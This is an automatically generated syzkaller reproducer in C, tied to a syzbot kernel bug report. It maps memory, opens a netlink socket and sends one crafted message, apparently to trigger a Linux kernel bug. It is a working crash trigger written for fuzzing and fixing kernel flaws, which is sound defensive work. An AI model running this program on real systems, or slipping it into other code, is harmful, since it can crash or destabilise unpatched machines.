// https://syzkaller.appspot.com/bug?id=06d5afc914b125aee434673aa701617249a92eb6 // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include #include #include #include #include #include #include #include #define BITMASK(bf_off, bf_len) (((1ull << (bf_len)) - 1) << (bf_off)) #define STORE_BY_BITMASK(type, htobe, addr, val, bf_off, bf_len) \ *(type*)(addr) = \ htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) | \ (((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len)))) #ifndef __NR_mmap #define __NR_mmap 192 #endif #ifndef __NR_sendmsg #define __NR_sendmsg 370 #endif #ifndef __NR_socket #define __NR_socket 359 #endif #undef __NR_mmap #define __NR_mmap __NR_mmap2 uint64_t r[1] = {0xffffffffffffffff}; int main(void) { syscall(__NR_mmap, 0x1ffff000, 0x1000, 0, 0x32, -1, 0); syscall(__NR_mmap, 0x20000000, 0x1000000, 7, 0x32, -1, 0); syscall(__NR_mmap, 0x21000000, 0x1000, 0, 0x32, -1, 0); intptr_t res = 0; res = syscall(__NR_socket, 0x10, 3, 6); if (res != -1) r[0] = res; *(uint32_t*)0x20003c80 = 0; *(uint32_t*)0x20003c84 = 0; *(uint32_t*)0x20003c88 = 0x20003800; *(uint32_t*)0x20003800 = 0x20002740; *(uint32_t*)0x20002740 = 0x14; *(uint16_t*)0x20002744 = 0x24; *(uint16_t*)0x20002746 = 1; *(uint32_t*)0x20002748 = 0; *(uint32_t*)0x2000274c = 0; *(uint16_t*)0x20002750 = 4; STORE_BY_BITMASK(uint16_t, , 0x20002752, 0, 0, 14); STORE_BY_BITMASK(uint16_t, , 0x20002753, 0, 6, 1); STORE_BY_BITMASK(uint16_t, , 0x20002753, 1, 7, 1); *(uint32_t*)0x20003804 = 0x14; *(uint32_t*)0x20003c8c = 1; *(uint32_t*)0x20003c90 = 0; *(uint32_t*)0x20003c94 = 0; *(uint32_t*)0x20003c98 = 0; syscall(__NR_sendmsg, (intptr_t)r[0], 0x20003c80, 0); return 0; }